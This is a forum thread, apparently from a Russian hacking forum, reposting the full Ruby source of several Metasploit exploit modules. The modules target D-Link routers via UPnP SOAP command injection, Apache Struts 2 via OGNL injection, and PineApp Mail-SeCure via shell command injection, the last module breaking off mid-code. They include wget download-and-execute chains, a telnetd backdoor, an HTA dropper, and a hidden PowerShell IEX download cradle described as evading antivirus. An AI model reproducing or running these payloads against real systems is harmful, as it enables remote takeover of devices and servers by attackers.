• XSS.stack #1 – первый литературный журнал от юзеров форума

Модули для Metasploit Framework

D-Link Devices UPnP SOAP Command Execution

Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the CMD target. Additionally, two targets are included, to start a telnetd service and establish a session over it, or deploy a native mipsel payload. This Metasploit module has been tested successfully on DIR-300, DIR-600, DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices may affected.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::CommandShell

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link Devices UPnP SOAP Command Execution',
      'Description' => %q{
        Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
        interface. Since it is a blind OS command injection vulnerability, there is no
        output for the executed command when using the CMD target. Additionally, two targets
        are included, to start a telnetd service and establish a session over it, or deploy a
        native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
        DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,
        more D-Link devices may affected.
      },
      'Author'      =>
        [
          'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'OSVDB', '94924' ],
          [ 'BID', '61005' ],
          [ 'EDB', '26664' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
        ],
      'DisclosureDate' => 'Jul 05 2013',
      'Privileged'     => true,
      'Platform'       => ['linux','unix'],
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          [ 'CMD',  #all devices
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Telnet',  #all devices - default target
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Linux mipsel Payload',  #DIR-865, DIR-645 and others with wget installed
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))

    register_options(
      [
        Opt::RPORT(49152),  #port of UPnP SOAP webinterface
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
      ], self.class)
  end

  def exploit
    @new_portmapping_descr = rand_text_alpha(8)
    @new_external_port = rand(65535)
    @new_internal_port = rand(65535)

    if target.name =~ /CMD/
      exploit_cmd
    elsif target.name =~ /Telnet/
      exploit_telnet
    else
      exploit_mips
    end
  end

  def exploit_cmd
    if not (datastore['CMD'])
      fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    cmd = payload.encoded
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    return
  end

  def exploit_telnet
    telnetport = rand(65535)

    vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")

    cmd = "telnetd -p #{telnetport}"
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    begin
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

      if sock
        print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
        add_socket(sock)
      else
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
      end

      print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
      auth_info = {
        :host   => rhost,
        :port   => telnetport,
        :sname => 'telnet',
        :user   => "",
        :pass  => "",
        :source_type => "exploit",
        :active => true
      }
      report_auth_info(auth_info)
      merge_me = {
        'USERPASS_FILE' => nil,
        'USER_FILE'     => nil,
        'PASS_FILE'     => nil,
        'USERNAME'      => nil,
        'PASSWORD'      => nil
      }
      start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
    rescue
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
    end
    return
  end

  def exploit_mips

    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))

    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      #we use SRVHOST as download IP for the coming wget command.
      #SRVHOST needs a real IP address of our download host
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
    end

    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end

    register_file_for_cleanup("/tmp/#{filename}")

    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
  end

  def request(cmd, type)

    uri = '/soap.cgi'

    data_cmd = "<?xml version=\"1.0\"?>"
    data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    data_cmd << "<SOAP-ENV:Body>"

    if type == "add"
      vprint_status("#{rhost}:#{rport} - adding portmapping")

      soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

      data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
      data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
      data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
      data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
      data_cmd << "<NewEnabled>1</NewEnabled>"
      data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
      data_cmd << "<NewRemoteHost></NewRemoteHost>"
      data_cmd << "<NewProtocol>TCP</NewProtocol>"
      data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
      data_cmd << "</m:AddPortMapping>"
    else
      #we should clean it up ... otherwise we are not able to exploit it multiple times
      vprint_status("#{rhost}:#{rport} - deleting portmapping")
      soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"

      data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
      data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
      data_cmd << "</m:DeletePortMapping>"
    end

    data_cmd << "</SOAP-ENV:Body>"
    data_cmd << "</SOAP-ENV:Envelope>"

    begin
      res = send_request_cgi({
        'uri'    => uri,
        'vars_get' => {
          'service' => 'WANIPConn1'
        },
        'ctype' => "text/xml",
        'method' => 'POST',
        'headers' => {
          'SOAPAction' => soapaction,
          },
        'data' => data_cmd
      })
    return res
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return nil
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")

    waited = 0
    while (not @elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
      end
    end
  end
end
 
Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code. This Metasploit module has been tested successfully on Struts 2.3.15 over Tomcat 7, with Windows 2003 SP2 and Ubuntu 10.04 operating systems.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
      'Description'    => %q{
        The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
        state changes by prefixing parameters with "action:" or "redirect:", followed by
        a desired navigational target expression. This mechanism was intended to help with
        attaching navigational information to buttons within forms.

        In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
        "redirectAction:" is not properly sanitized. Since said information will be
        evaluated as OGNL expression against the value stack, this introduces the
        possibility to inject server side code.

        This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
        Windows 2003 SP2 and Ubuntu 10.04 operating systems.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Takeshi Terada', # Vulnerability discovery
          'sinn3r',         # Metasploit module
          'juan vazquez'    # Metasploit modules
        ],
      'References'     =>
        [
          [ 'CVE', '2013-2251' ],
          [ 'OSVDB', '95405' ],
          [ 'BID', '61189' ],
          [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
        ],
      'Platform'       => [ 'win', 'linux'],
      'Targets'         =>
        [
          ['Automatic', {}],
          ['Windows',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultOptions'  =>
        {
          'WfsDelay' => 10
        },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DisclosureDate'  => 'Jul 2 2013',
      'DefaultTarget'   => 0))

    register_options(
    [
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
      OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
      # It isn't OptPath becuase it's a *remote* path
      OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
    ], self.class)
  end

  def on_new_session(session)
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
    end

    @dropped_files.delete_if do |file|
      false unless file =~ /\.exe/
      win_file = file.gsub("/", "\\\\")
      if session.type == "meterpreter"
        begin
          wintemp = session.fs.file.expand_path("%TEMP%")
          win_file = "#{wintemp}\\#{win_file}"
          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
          session.fs.file.rm(win_file)
          print_good("Deleted #{file}")
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          print_error("Failed to delete #{win_file}")
          false
        end
      end
    end

    super
  end

  def start_http_service
    #do not use SSL
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    service_url = srv_host + ':' + datastore['SRVPORT'].to_s
    print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
    start_service({
      'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => '/'
      }
    })

    datastore['SSL'] = true if ssl_restore

    return service_url
  end

  def check
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    })

    if res.nil? or res.code != 200
      print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
      return Exploit::CheckCode::Unknown
    end

    proof = rand_text_alpha(6 + rand(4))

    res = send_request_cgi({
      'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
      'method' => 'GET'
    })

    if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Unknown
  end

  def auto_target
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    })

    if res.nil? or res.code != 200
      fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
    end

    proof = rand_text_alpha(6 + rand(4))

    res = send_request_cgi({
      'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
      'method' => 'GET'
    })

    if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
      if res.headers['Location'] =~ /:\\/
        return targets[1] # Windows
      else
        return targets[2] # Linux
      end
    end

    fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")

  end

  def exploit_linux

    downfile = rand_text_alpha(8+rand(8))
    @pl = @exe
    @pl_sent = false

    #
    # start HTTP service if necessary
    #
    service_url = start_http_service

    #
    # download payload
    #
    fname = datastore['WritableDir']
    fname = "#{fname}/" unless fname =~ %r'/$'
    fname << downfile
    uri = normalize_uri(target_uri.path)
    uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"

    print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => uri
    })

    if res.nil? or res.code != 302
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
    end

    #
    # wait for payload download
    #
    wait_payload

    register_file_for_cleanup(fname)

    #
    # chmod
    #
    uri = normalize_uri(target_uri.path)
    uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"

    print_status("#{rhost}:#{rport} - Make payload executable...")

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => uri
    })

    if res.nil? or res.code != 302
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
    end

    #
    # execute
    #
    uri = normalize_uri(target_uri.path)
    uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"

    print_status("#{rhost}:#{rport} - Execute payload...")

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => uri
    })

    if res.nil? or res.code != 302
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
    end

  end

  def exploit_windows
    @var_exename = rand_text_alpha(4 + rand(4)) + '.exe'
    @pl = build_hta
    @pl_sent = false

    #
    # start HTTP service if necessary
    #
    service_url = start_http_service

    #
    # execute hta
    #
    uri = normalize_uri(target_uri.path)
    uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"

    print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => uri
    })

    if res.nil? or res.code != 302
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
    end

    #
    # wait for payload download
    #
    wait_payload

    register_file_for_cleanup(@var_exename)
  end

  def exploit
    if target.name =~ /Automatic/
      print_status("#{rhost}:#{rport} - Target autodetection...")
      my_target = auto_target
      print_good("#{rhost}:#{rport} - #{my_target.name} target found!")
    else
      my_target = target
    end

    p = exploit_regenerate_payload(my_target.platform, my_target.arch)
    @exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch})

    if my_target.name =~ /Linux/
      if datastore['PAYLOAD'] =~ /windows/
        fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
      end
      exploit_linux
    elsif my_target.name =~ /Windows/
      if datastore['PAYLOAD'] =~ /linux/
        fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
      end
      exploit_windows
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @pl_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_payload
    print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")

    waited = 0
    while (not @pl_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end
  end

  def build_hta
    var_shellobj    = rand_text_alpha(rand(5)+5);
    var_fsobj        = rand_text_alpha(rand(5)+5);
    var_fsobj_file    = rand_text_alpha(rand(5)+5);
    var_vbsname        = rand_text_alpha(rand(5)+5);
    var_writedir    = rand_text_alpha(rand(5)+5);

    var_origLoc        = rand_text_alpha(rand(5)+5);
    var_byteArray    = rand_text_alpha(rand(5)+5);
    var_writestream    = rand_text_alpha(rand(5)+5);
    var_strmConv    = rand_text_alpha(rand(5)+5);

    # Doing in this way to bypass the ADODB.Stream restrictions on JS,
    # even when executing it as an "HTA" application
    # The encoding code has been stolen from ie_unsafe_scripting.rb
    print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");

    # Build the content that will end up in the .vbs file
    vbs_content  = Rex::Text.to_hex(%Q|
Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
    # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
    # for conversion with ADODB.Stream
    vbs_ary = []
    # The output of this loop needs to be as small as possible since it
    # gets repeated for every byte of the executable, ballooning it by a
    # factor of about 80k (the current size of the exe template).  In its
    # current form, it's down to about 4MB on the wire
    @exe.each_byte do |b|
      vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
    end
    vbs_content << vbs_ary.join("")

    # Continue with the rest of the vbs file;
    # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
    # Then use ADODB.Stream again to write the binary to file.
    #print_status("Finishing vbs...");
    vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)

    hta = <<-EOS
      <script>
      var #{var_shellobj} = new ActiveXObject("WScript.Shell");
      var #{var_fsobj}    = new ActiveXObject("Scripting.FileSystemObject");
      var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
      var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

      #{var_fsobj_file}.Write(unescape("#{vbs_content}"));
      #{var_fsobj_file}.Close();

      #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
      #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
      #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
      window.close();
      </script>
    EOS

    return hta
  end


end

Добавлено в [time]1374741399[/time]
Powershell Payload Web Delivery

This Metasploit module quickly fires up a web server that serves the payload in powershell. The provided command will start powershell and then download and execute the payload. The IEX command can also be extracted to execute directly from powershell. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command himself, e.g. RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not write to disk so is unlikely to trigger AV solutions and will allow to attempt local privilege escalations supplied by meterpreter etc. You could also try your luck with social engineering. Ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'     => 'Powershell Payload Web Delivery',
      'Description'   => %q{
        This module quickly fires up a web server that serves the payload in powershell.
        The provided command will start powershell and then download and execute the
        payload. The IEX command can also be extracted to execute directly from powershell.
        The main purpose of this module is to quickly establish a session on a target
        machine when the attacker has to manually type in the command himself, e.g. RDP
        Session, Local Access or maybe Remote Command Exec. This attack vector does not
        write to disk so is unlikely to trigger AV solutions and will allow to attempt local
        privilege escalations supplied by meterpreter etc. You could also try your luck with
        social engineering. Ensure the payload architecture matches the target computer or
        use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
      },
      'License'   => MSF_LICENSE,
      'Author'   =>
        [
          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
          'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
        ],
      'References'   =>
        [
          [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
          [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
          [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
        ],
      'Platform'   => 'win',
      'Targets'   =>
        [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 19 2013'))
  end

  def on_request_uri(cli, request)
    print_status("Delivering Payload")
    data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end

  def primer
    url = get_uri()
    download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
    print_status("Run the following command on the target machine:")
    print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
  end
end
 
PineApp Mail-SeCure livelog.html Arbitrary Command Execution

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PineApp Mail-SeCure livelog.html Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits a command injection vulnerability on PineApp Mail-SeCure
        3.70. The vulnerability exists on the livelog.html component, due to the insecure
        usage of the shell_exec() php function. This module has been tested successfully
        on PineApp Mail-SeCure 3.70.
      },
      'Author'         =>
        [
          'Unknown',     # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-184/']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python telnet'
            }
        },
      'Targets'        =>
        [
          [ 'PineApp Mail-SeCure 3.70', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 26 2013'
      ))
 
    register_options(
      [
        Opt::RPORT(7443)
      ],
      self.class
    )
 
  end
 
  def my_uri
    return normalize_uri("/livelog.html")
  end
 
  def check
    res = send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'cmd' =>'nslookup',
        'nstype' => Rex::Text.encode_base64("A"),
        'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
        'nsserver' => Rex::Text.encode_base64("127.0.0.1")
      }
    })
    if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    print_status("#{rhost}:#{rport} - Executing payload...")
    send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'cmd' =>'nslookup',
        'nstype' => Rex::Text.encode_base64("A"),
        'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
        'nsserver' => Rex::Text.encode_base64("127.0.0.1;#{payload.encoded}")
      }
    })
  end
 
end
 
# 6BA986DD94DD76A0   1337day.com [2013-07-30]   19F4964CCB7B110B #

PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits a command injection vulnerability on PineApp Mail-SeCure
        3.70. The vulnerability exists on the test_li_connection.php component, due to the
        insecure usage of the system() php function. This module has been tested successfully
        on PineApp Mail-SeCure 3.70.
      },
      'Author'         =>
        [
          'Dave Weinstein', # Vulnerability discovery
          'juan vazquez'    # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-188/']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python telnet'
            }
        },
      'Targets'        =>
        [
          [ 'PineApp Mail-SeCure 3.70', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
